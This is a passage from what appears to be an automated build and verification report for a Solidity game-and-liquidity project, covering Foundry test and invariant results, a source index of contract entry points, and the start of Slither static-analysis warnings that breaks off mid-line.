μ: 15410227, ~: 14625577)\nLogs:\n  Bound result 9\n\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 2.68s (13.26s CPU time)\n\nRan 1 test for test/Invariants.t.sol:InvariantTest\n[PASS]\nInvariantTest invariants:\n[PASS] invariant_callSummary\n[PASS] invariant_curveNeverUnderchargesAndNeverOversells\n[PASS] invariant_fundedPotIsPartOfPotAndClearedByFinalize\n[PASS] invariant_gameBalanceEqualsObligations\n[PASS] invariant_genesisGatesLaunchesAndKing\n[PASS] invariant_impsAndRollsBounded\n[PASS] invariant_kingHoldsOnlyClaimables\n[PASS] invariant_liquidityBalanceEqualsObligations\n[PASS] invariant_padHoldsOnlyCarryPot\n[PASS] invariant_systemEthConserved\n[PASS] invariant_tokenSupplyFixedAndFullyAccounted\n[PASS] invariant_tokenUnlockedOnlyBySuccessfulGraduation\n InvariantTest invariants (runs: 40, calls: 2400, reverts: 86)\n\n╭------------+----------------+-------+---------+----------╮\n| Contract   | Selector       | Calls | Reverts | Discards |\n+==========================================================+\n| PadHandler | burnChunk      | 90    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimGame      | 100   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimKing      | 102   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimLiquidity | 90    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | creditFees     | 99    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | distribute     | 104   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | draw           | 87    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | enter          | 112   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | finalize       | 98    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundBurn       | 112   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundCarry      | 94    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundPot        | 86    | 86      | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | graduate       | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | launch         | 98    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | padUpkeep      | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | poke           | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | resolve        | 100   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | restartGenesis | 120   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | roll           | 192   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | takeCrown      | 92    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | tokenTransfer  | 102   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | warp           | 207   | 0       | 0        |\n╰------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 20421\n  Bound result 2995000000000010001\n  Bound result 376138608389625840\n  Bound result 6302\n  Bound result 12729\n  Bound result 415\n  Bound result 289\n  Bound result 160\n  Bound result 296\n  Bound result 1994836\n  Bound result 16\n  Bound result 91\n  Bound result 2995000001383437905\n  Bound result 17\n  Bound result 4\n  Bound result 1\n  Bound result 0\n  Bound result 1178955167727565423\n  Bound result 0\n  Bound result 14\n  Bound result 17\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.05s (3.02s CPU time)\n\nRan 6 tests for test/AuditV3CarryUpkeep.t.sol:AuditV3CarryUpkeepTest\n[PASS] test_fiveWalletCarryChainOnlyPullsUnusedCapAtFinalize() (gas: 49714295)\n[PASS] test_fiveWalletNoRollChainNeverTakesCarry() (gas: 5334641)\n[PASS] test_ownGasEstimateEntryAndRollWithForeignDraw() (gas: 987189)\nLogs:\n  own entry gas limit: 185957\n  own roll gas limit: 187792\n\n[PASS] test_ownGasEstimateEntryAndRollWithForeignFinalize() (gas: 1021207)\nLogs:\n  own entry gas limit: 185957\n  own roll gas limit: 191464\n\n[PASS] test_ownGasEstimateEntryAndRollWithForeignGraduate() (gas: 1021573)\nLogs:\n  own entry gas limit: 185957\n  own roll gas limit: 191464\n\n[PASS] test_upkeepSubcallCanExhaustItsFullStipendWithoutRevertingEntry() (gas: 50674880)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 3.14s (425.30ms CPU time)\n\nRan 9 tests for test/LiquidityV4.t.sol:LiquidityV4Test\n[PASS] test_collectPoolRejectsExternalCallers() (gas: 35383)\n[PASS] test_crownPrecollectsAllEighteenPools() (gas: 19671100)\nLogs:\n  takeCrown gas, eighteen real pools: 2832620\n\n[PASS] test_failedDistributorBlocksCrown() (gas: 16251002)\n[PASS] test_oneFailingPoolCannotBlockBidOrHealthyPoolFees() (gas: 22570562)\n[PASS] test_outgoingKingReceivesFeesBeforeCrownEvent() (gas: 16942048)\n[PASS] test_realBurnIgnoresAnUnrelatedPriorTokenSync() (gas: 15916508)\n[PASS] test_realPoolManagerGraduatesSoldOutAfter2400ActualRolls() (gas: 8928858)\n[PASS] test_realPoolManagerSmallestRaiseGraduatesAndConservesAccounting() (gas: 10761875)\n[PASS] test_realTradingTokenFeesPaidInKindWithoutSwap() (gas: 16638603)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 3.17s (1.34s CPU time)\n\nRan 9 tests for test/Revision.t.sol:RevisionTest\n[PASS] test_carryStaysInPadEvenAfterFiveSeats() (gas: 20554093)\n[PASS] test_freeLaunchesDoNotCrowdEnteredGamesOutOfTheKingWindowOrUpkeep() (gas: 26557206)\n[PASS] test_fullRangeSqrtPriceConstantsMatchTickMath() (gas: 17003)\n[PASS] test_liquidityClaimLockIsSeparateFromThePoolGuard() (gas: 16774070)\n[PASS] test_outgoingKingIsPaidEvenWhenTheBidComesFromInsideLiquidityClaim() (gas: 17688731)\n[PASS] test_seatedEventUsesTheSameOneBasedIndexesAsTheViews() (gas: 8545309)\n[PASS] test_soleBuyerSybilLosesMoneyEvenAfterDumpingEveryTokenAndTakingTheCappedRelease() (gas: 18277869)\nLogs:\n  curve ETH raised: 441000000000000000\n  sybil net outlay before the dump: 399450000000000000\n  dump proceeds: 259263336672922359\n\n[PASS] test_takeCarryAndNoteFirstEntryAreGameOnly() (gas: 16413543)\n[PASS] test_takeCrownRevertsInsteadOfSkippingTheOutgoingKingWhileLiquidityIsLocked() (gas: 16361472)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 3.17s (393.52ms CPU time)\n\nRan 15 tests for test/Raffle.t.sol:RaffleTest\n[PASS] testFuzz_everyEntrantPlaysAtOrBelow200(uint16) (runs: 64, μ: 25322274, ~: 21450573)\nLogs:\n  Bound result 193\n\n[PASS] test_5000EntriesChunkedDrawGasAndNonselectedFeesStayBurned() (gas: 116648048)\nLogs:\n  5000-entry draw max chunk gas (cold game): 2668339\n  5000-entry draw total gas: 16251823\n\n[PASS] test_contractWalletCanEnterAndViewsArePaged() (gas: 54974464)\n[PASS] test_drawBeforeEntryBeforeSignupAndZeroChunkRejected() (gas: 416944)\n[PASS] test_entryExactFeeOnePerWalletAndNoRefund() (gas: 627657)\n[PASS] test_entryFeesAlsoFundBurnOnOrdinaryGames() (gas: 8816525)\n[PASS] test_entryGateAndReentrantBurnCallback() (gas: 1191552)\n[PASS] test_failedGenesisGriefCostsOneFeeEveryRoundAndNeverRefunds() (gas: 5167926)\n[PASS] test_firstEntryStartsTenMinutesAndLateEntryRejected() (gas: 662009)\n[PASS] test_hashAtExactly256BlocksOldStillSeeds() (gas: 705225)\n[PASS] test_lapsedCommitFallsBackOnceAndNeverRecommits() (gas: 51600037)\n[PASS] test_manySeedsGiveEarlyAndLateEntrantsEqualOpportunity() (gas: 526724)\n[PASS] test_noRollUntilAllSeatsDrawnAndDelayedPlayStartsFresh() (gas: 52207655)\n[PASS] test_seedUsesOnlyThreeFutureL2HashesAndChunkSizeCannotChangeSeats() (gas: 96953273)\n[PASS] test_upkeepCommitsThenDrawsInBoundedChunksAndKingCountsEntries() (gas: 1930675)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 3.17s (6.35s CPU time)\n\nRan 1 test for test/V3KingFeesInvariant.t.sol:V3KingFeesInvariantTest\n[PASS]\nV3KingFeesInvariantTest invariants:\n[PASS] invariant_eachReignKeepsItsETHAndTokensIncludingRejectedPayments\n[PASS] invariant_realV4FeesAndBidsConserveETH\n V3KingFeesInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭----------------------+------------+-------+---------+----------╮\n| Contract             | Selector   | Calls | Reverts | Discards |\n+================================================================+\n| KingFeeLedgerHandler | bid        | 1596  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | claim      | 1656  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | distribute | 1594  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | donate     | 1674  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | starveBid  | 1672  | 0       | 0        |\n╰----------------------+------------+-------+---------+----------╯\n\nLogs:\n  Bound result 0\n  Bound result 1000000000000000\n  Bound result 100000000000000000000\n  Bound result 16\n  Bound result 0\n  Bound result 500000\n  Bound result 5400401\n  Bound result 5275559\n  Bound result 9658\n  Bound result 5400051\n  Bound result 20805662729570\n  Bound result 25600\n  Bound result 35799028528549\n  Bound result 17\n  Bound result 63\n  Bound result 5100000\n  Bound result 5400200\n  Bound result 94210890951955\n  Bound result 5410297\n  Bound result 5400081\n  Bound result 5409155\n  Bound result 14508\n  Bound result 7728800000000000\n  Bound result 5415605\n  Bound result 5403601\n  Bound result 99999999999951\n  Bound result 11545\n  Bound result 100003\n  Bound result 912081\n  Bound result 3613801\n  Bound result 9313\n  Bound result 20\n  Bound result 7477639625207\n  Bound result 15413010368038963187624\n  Bound result 16721\n  Bound result 16417\n  Bound result 11285\n  Bound result 5400591\n  Bound result 3545\n  Bound result 180000000000000\n  Bound result 154087980144090\n  Bound result 78535151721324870161091\n  Bound result 30\n  Bound result 13\n  Bound result 10215\n  Bound result 1507695\n  Bound result 600000\n  Bound result 3203\n  Bound result 5409951\n  Bound result 99999999999841\n  Bound result 55619632766004\n  Bound result 5400201\n  Bound result 31\n  Bound result 1600000\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.03s (4.00s CPU time)\n\nRan 1 test for test/V3ResolverInvariant.t.sol:V3ResolverInvariantTest\n[PASS]\nV3ResolverInvariantTest invariants:\n[PASS] invariant_eachTipIsPendingExpiredOrOwedToItsActualResolver\n[PASS] invariant_paidETHAndTokensRemainFullyAccounted\n V3ResolverInvariantTest invariants (runs: 128, calls: 12288, reverts: 0)\n\n╭-----------------------+----------+-------+---------+----------╮\n| Contract              | Selector | Calls | Reverts | Discards |\n+===============================================================+\n| ResolverLedgerHandler | advance  | 3057  | 0       | 0        |\n|-----------------------+----------+-------+---------+----------|\n| ResolverLedgerHandler | claim    | 3129  | 0       | 0        |\n|-----------------------+----------+-------+---------+----------|\n| ResolverLedgerHandler | resolve  | 3087  | 0       | 0        |\n|-----------------------+----------+-------+---------+----------|\n| ResolverLedgerHandler | roll     | 3015  | 0       | 0        |\n╰-----------------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 1\n  Bound result 16\n  Bound result 59\n  Bound result 13\n  Bound result 67\n  Bound result 30\n  Bound result 17\n  Bound result 60\n  Bound result 29\n  Bound result 21\n  Bound result 31\n  Bound result 32\n  Bound result 24\n  Bound result 4\n  Bound result 18\n  Bound result 20\n  Bound result 25\n  Bound result 4\n  Bound result 32\n  Bound result 28\n  Bound result 0\n  Bound result 74\n  Bound result 23\n  Bound result 89\n  Bound result 8\n  Bound result 13\n  Bound result 15\n  Bound result 50\n  Bound result 76\n  Bound result 15\n  Bound result 12\n  Bound result 19\n  Bound result 14\n  Bound result 30\n  Bound result 33\n  Bound result 81\n  Bound result 6\n  Bound result 21\n  Bound result 62\n  Bound result 26\n  Bound result 18\n  Bound result 6\n  Bound result 40\n  Bound result 26\n  Bound result 76\n  Bound result 7\n  Bound result 36\n  Bound result 4\n  Bound result 41\n  Bound result 43\n  Bound result 35\n  Bound result 30\n  Bound result 39\n  Bound result 16\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.42s (6.39s CPU time)\n\nRan 22 test suites in 6.43s (41.00s CPU time): 227 tests passed, 0 failed, 0 skipped (227 total tests)\n","passed":true},{"durationMs":129,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"KingOfThePad.claim()\",\"KingOfThePad.distribute(uint256)\",\"KingOfThePad.takeCrown()\",\"PadGame.bailOut(uint256)\",\"PadGame.claim()\",\"PadGame.draw(uint256)\",\"PadGame.enter()\",\"PadGame.finalize()\",\"PadGame.fundPot()\",\"PadGame.graduate()\",\"PadGame.initialize(uint256,address,address,bool)\",\"PadGame.poke()\",\"PadGame.prepareConversion()\",\"PadGame.resolvePending(uint256)\",\"PadGame.roll()\",\"PadGame.upkeepStep(address)\",\"PadLiquidity.bindKing()\",\"PadLiquidity.burnChunk()\",\"PadLiquidity.claim()\",\"PadLiquidity.collectPool(uint256,address)\",\"PadLiquidity.convertChunk(address)\",\"PadLiquidity.deployHook(bytes32)\",\"PadLiquidity.distribute(uint256)\",\"PadLiquidity.executeConversion(uint256,uint160)\",\"PadLiquidity.fundBurn()\",\"PadLiquidity.graduate(uint256,address,uint256,uint256,uint256)\",\"PadLiquidity.observe(uint256)\",\"PadLiquidity.receive()\",\"PadLiquidity.retryPool(uint256)\",\"PadLiquidity.settleCrown()\",\"PadLiquidity.startConversion(uint256,uint64)\",\"PadLiquidity.unlockCallback(bytes)\",\"PadToken.approve(address,uint256)\",\"PadToken.initialize(string,string,address,address)\",\"PadToken.reclaim(address,uint256)\",\"PadToken.transfer(address,uint256)\",\"PadToken.transferFrom(address,address,uint256)\",\"PadToken.unlock()\",\"PvPPad.bindLiquidity()\",\"PvPPad.fundCarry()\",\"PvPPad.fundGames()\",\"PvPPad.launch(string,string,string)\",\"PvPPad.noteFirstEntry(uint256)\",\"PvPPad.openPad(bytes32)\",\"PvPPad.restartGenesis()\",\"PvPPad.startGenesis()\",\"PvPPad.takeCarry(uint256,uint256)\",\"PvPPad.upkeep()\",\"PvPPad.upkeepFor(address)\"],\"files\":{\".gitignore\":4,\"README.md\":267,\"docs/AUDIT-V2-HISTORY.md\":256,\"docs/AUDIT-V3-HISTORY.md\":311,\"docs/AUDIT.md\":454,\"docs/TEST-REPORT.md\":135,\"docs/VERIFY.md\":74,\"foundry.toml\":22,\"launch.json\":39,\"remappings.txt\":2,\"src/KingOfThePad.sol\":131,\"src/PadGame.sol\":821,\"src/PadHook.sol\":26,\"src/PadLiquidity.sol\":716,\"src/PadToken.sol\":94,\"src/PvPPad.sol\":315,\"src/interfaces/Interfaces.sol\":120,\"src/interfaces/PadErrors.sol\":87,\"src/libs/PadLib.sol\":120,\"test/Adversarial.t.sol\":800,\"test/AtomicDeployment.t.sol\":126,\"test/AuditV3.t.sol\":397,\"test/AuditV3CarryUpkeep.t.sol\":191,\"test/Base.t.sol\":229,\"test/CrownSettlement.t.sol\":252,\"test/Fuzz.t.sol\":293,\"test/Game.t.sol\":767,\"test/Invariants.t.sol\":580,\"test/King.t.sol\":314,\"test/LiquidityV4.t.sol\":248,\"test/Pad.t.sol\":299,\"test/Raffle.t.sol\":408,\"test/RaffleEdges.t.sol\":273,\"test/RealV4.sol\":85,\"test/Revision.t.sol\":263,\"test/V3-CONTRIBUTOR-REPORT.md\":126,\"test/V3AccountingActors.sol\":18,\"test/V3CarryProperties.t.sol\":130,\"test/V3FailureEdges.t.sol\":354,\"test/V3KingFeesInvariant.t.sol\":250,\"test/V3ResolverInvariant.t.sol\":208,\"test/V4Pad.t.sol\":1050,\"test/mocks/Mocks.sol\":32,\"tools/validate_manifest.py\":86},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":8683,"exitCode":0,"name":"slither","output":"[high/medium] arbitrary-send-eth at src/PadLiquidity.sol:676: PadLiquidity._settleEth(uint256) (src/PadLiquidity.sol#676-682) sends eth to arbitrary user\n[high/medium] incorrect-exp at src/libs/PadLib.sol:29: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#29-62) has bitwise-xor operator ^ instead of the exponentiation operator **: \n[high/medium] msg-value-loop at src/PvPPad.sol:192: PvPPad.fundGames() (src/PvPPad.sol#192-222) use msg.value in a loop: share = msg.value / count (src/PvPPad.sol#216)\n[high/medium] msg-value-loop at src/PvPPad.sol:192: PvPPad.fundGames() (src/PvPPad.sol#192-222) use msg.value in a loop: share = msg.value - sent (src/PvPPad.sol#217)\n[high/medium] msg-value-loop at src/PvPPad.sol:192: PvPPad.fundGames() (src/PvPPad.sol#192-222) use msg.value in a loop: share = msg.value * pots[i_scope_0] / total (src/PvPPad.sol#216)\n[high/medium] reentrancy-eth at src/PadLiquidity.sol:568: Reentrancy in PadLiquidity.claim() (src/PadLiquidity.sol#568-578):\n[high/medium] reentrancy-eth at src/PadGame.sol:802: Reentrancy in PadGame._graduate() (src/PadGame.sol#802-820):\n[high/medium] reentrancy-eth at src/PadGame.sol:379: Reentrancy in PadGame.upkeepStep(address) (src/PadGame.sol#379-391):\n[high/medium] reentrancy-eth at src/PadGame.sol:253: Reentrancy in PadGame.roll() (src/PadGame.sol#253-290):\n[high/medium] reentrancy-eth at src/PadLiquidity.sol:343: Reentrancy in PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#343-397):\n[high/medium] reentrancy-eth at src/PadGame.sol:339: Reentrancy in PadGame._conversionStep() (src/PadGame.sol#339-352):\n[high/medium] reentrancy-eth at src/KingOfThePad.sol:62: Reentrancy in KingOfThePad.takeCrown() (src/KingOfThePad.sol#62-107):\n[high/high] uninitialized-state at src/PadGame.sol:166: PadGame.entrants (src/PadGame.sol#99) is never initialized. It is used in:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:29: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#29-62) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:29: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#29-62) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:29: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#29-62) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/PadGame.sol:647: PadGame._finalize(address) (src/PadGame.sol#647-720) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:29: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#29-62) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:29: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#29-62) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:29: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#29-62) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:29: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#29-62) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:29: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#29-62) performs a multiplication on the result of a division:\n[medium/high] incorrect-equality at src/PadGame.sol:439: PadGame.bellRang() (src/PadGame.sol#439-441) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:444: PadGame.status() (src/PadGame.sol#444-453) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadLiquidity.sol:263: PadLiquidity.convertChunk(address) (src/PadLiquidity.sol#263-310) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:542: PadGame.quote(uint256) (src/PadGame.sol#542-555) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PvPPad.sol:272: PvPPad.genesisGraduated() (src/PvPPad.sol#272-276) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:339: PadGame._conversionStep() (src/PadGame.sol#339-352) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:558: PadGame.quoteSell(uint256) (src/PadGame.sol#558-566) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PvPPad.sol:278: PvPPad.genesisFailed() (src/PvPPad.sol#278-281) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:647: PadGame._finalize(address) (src/PadGame.sol#647-720) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:795: PadGame._pay(address,uint256) (src/PadGame.sol#795-800) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/PvPPad.sol:100: Reentrancy in PvPPad.restartGenesis() (src/PvPPad.sol#100-107):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:424: Reentrancy in PadLiquidity._distribute(uint256,bool) (src/PadLiquidity.sol#424-452):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:495: Reentrancy in PadLiquidity.collectPool(uint256,address) (src/PadLiquidity.sol#495-519):\n[medium/medium] reentrancy-no-eth at src/PvPPad.sol:238: Reentrancy in PvPPad._upkeep(address) (src/PvPPad.sol#238-259):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:581: Reentrancy in PadLiquidity.unlockCallback(bytes) (src/PadLiquidity.sol#581-654):\n[medium/medium] reentrancy-no-eth at src/PadGame.sol:647: Reentrancy in PadGame._finalize(address) (src/PadGame.sol#647-720):\n[medium/medium] reentrancy-no-eth at src/PadGame.sol:647: Reentrancy in PadGame._finalize(address) (src/PadGame.sol#647-720):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:465: Reentrancy in PadLiquidity._collect(uint256,address) (src/PadLiquidity.sol#465-487):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:495: Reentrancy in PadLiquidity.collectPool(uint256,address) (src/PadLiquidity.sol#495-519):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:263: Reentrancy in PadLiquidity.convertChunk(address) (src/PadLiquidity.sol#263-310):\n[medium/medium] reentrancy-no-eth at src/KingOfThePad.sol:62: Reentrancy in KingOfThePad.takeCrown() (src/KingOfThePad.sol#62-107):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:529: Reentrancy in PadLiquidity.burnChunk() (src/PadLiquidity.sol#529-542):\n[medium/medium] uninitialized-local at src/PadLiquidity.sol:429: PadLiquidity._distribute(uint256,bool).floor (src/PadLiquidity.sol#429) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadLiquidity.sol:635: PadLiquidity.unlockCallback(bytes).spent_scope_4 (src/PadLiquidity.sol#635) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PvPPad.sol:214: PvPPad.fundGames().sent (src/PvPPad.sol#214) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:695: PadGame._finalize(address).paid (src/PadGame.sol#695) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:312: PadGame.bailOut(uint256).latest (src/PadGame.sol#312) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadLiquidity.sol:640: PadLiquidity.unlockCallback(bytes).used (src/PadLiquidity.sol#640) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:704: PadGame._finalize(address).sent (src/PadGame.sol#704) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:685: PadGame._finalize(address).returned (src/PadGame.sol#685) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:604: PadGame._resolveRoll(uint256,address).d (src/PadGame.sol#604) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadLiquidity.sol:641: PadLiquidity.unlockCallback(bytes).out_scope_5 (src/PadLiquidity.sol#641) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PvPPad.sol:198: PvPPad.fundGames().count (src/PvPPad.sol#198) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:653: PadGame._finalize(address).living (src/PadGame.sol#653) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:605: PadGame._resolveRoll(uint256,address).expired (src/PadGame.sol#605) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadLiquidity.sol:636: PadLiquidity.unlockCallback(bytes).bought (src/PadLiquidity.sol#636) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PvPPad.sol:199: PvPPad.fundGames().total (src/PvPPad.sol#199) is a local variable never initialized\n[medium/medium] unused-return at src/PadGame.sol:253: PadGame.roll() (src/PadGame.sol#253-290) ignores return value by rolls.push(Roll(uint32(idx - 1),imp.nonce,uint64(ARB.arbBlockNumber()),false,false,0)) (src/PadGame.sol#278)\n[medium/medium] unused-return at src/PadLiquidity.sol:684: PadLiquidity._settleToken(address,uint256) (src/PadLiquidity.sol#684-689) ignores return value by poolManager.settle() (src/PadLiquidity.sol#688)\n[medium/medium] unused-return at src/PadLiquidity.sol:343: PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#343-397) ignores return value by poolManager.initialize(key,sqrtP) (src/PadLiquidity.sol#385)\n[medium/medium] unused-return at src/PadLiquidity.sol:581: PadLiquidity.unlockCallback(bytes) (src/PadLiquidity.sol#581-654) ignores return value by (delta,None) = poolManager.modifyLiquidity(key,ModifyLiquidityParams(MIN_TICK,MAX_TICK,int256(l),0),) (src/PadLiquidity.sol#587-588)\n[medium/medium] unused-return at src/PadGame.sol:166: PadGame.enter() (src/PadGame.sol#166-180) ignores return value by entrants.push(msg.sender) (src/PadGame.sol#173)\n[medium/medium] unused-return at src/PadLiquidity.sol:676: PadLiquidity._settleEth(uint256) (src/PadLiquidity.sol#676-682) ignores return value by poolManager.settle{value: amount}() (src/PadLiquidity.sol#681)\n[medium/medium] unused-return at src/PadGame.sol:191: PadGame._draw(uint256,address) (src/PadGame.sol#191-250) ignores return value by imps.push(Imp(who,0,0,0,0,0,0)) (src/PadGame.sol#239)\n[medium/medium] unused-return at src/PadLiquidity.sol:581: PadLiquidity.unlockCallback(bytes) (src/PadLiquidity.sol#581-654) ignores return value by poolManager.donate(key,0,maxTok - owe1,) (src/PadLiquidity.sol#601)\n[medium/medium] unused-return at src/PadLiquidity.sol:581: PadLiquidity.unlockCallback(bytes) (src/PadLiquidity.sol#581-654) ignores return value by poolManager.donate(key,maxEth - owe0,0,) (src/PadLiquidity.sol#598)\n[medium/medium] unused-return at src/PadLiquidity.sol:581: PadLiquidity.unlockCallback(bytes) (src/PadLiquidity.sol#581-654) ignores return value by (None,fees) = poolManager.modifyLiquidity(key_scope_0,ModifyLiquidityParams(MIN_TICK,MAX_TICK,0,0),) (src/PadLiquidity.sol#610)\n[low/medium] missing-zero-check at src/PadLiquidity.sol:191: PadLiquidity.deployHook(bytes32).h (src/PadLiquidity.sol#191) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadToken.sol:35: PadToken.initialize(string,string,address,address).game_ (src/PadToken.sol#35) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadGame.sol:154: PadGame.initialize(uint256,address,address,bool).token_ (src/PadGame.sol#154) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadGame.sol:154: PadGame.initialize(uint256,address,address,bool).liquidity_ (src/PadGame.sol#154) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadHook.sol:16: PadHook.constructor(address,address).poolManager_ (src/PadHook.sol#16) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadHook.sol:16: PadHook.constructor(address,address).liquidity_ (src/PadHook.sol#16) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadToken.sol:35: PadToken.initialize(string,string,address,address).liquidity_ (src/PadToken.sol#35) lacks a zero-check on :\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h3 = ARB.arbBlockHash(commit + 3) (src/PadGame.sol#613)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: cur = ARB.arbBlockNumber() (src/PadGame.sol#600)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h3 = ARB.arbBlockHash(commit + 3) (src/PadGame.sol#613)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: cur = ARB.arbBlockNumber() (src/PadGame.sol#600)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#611)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#612)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: cur = ARB.arbBlockNumber() (src/PadGame.sol#600)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external 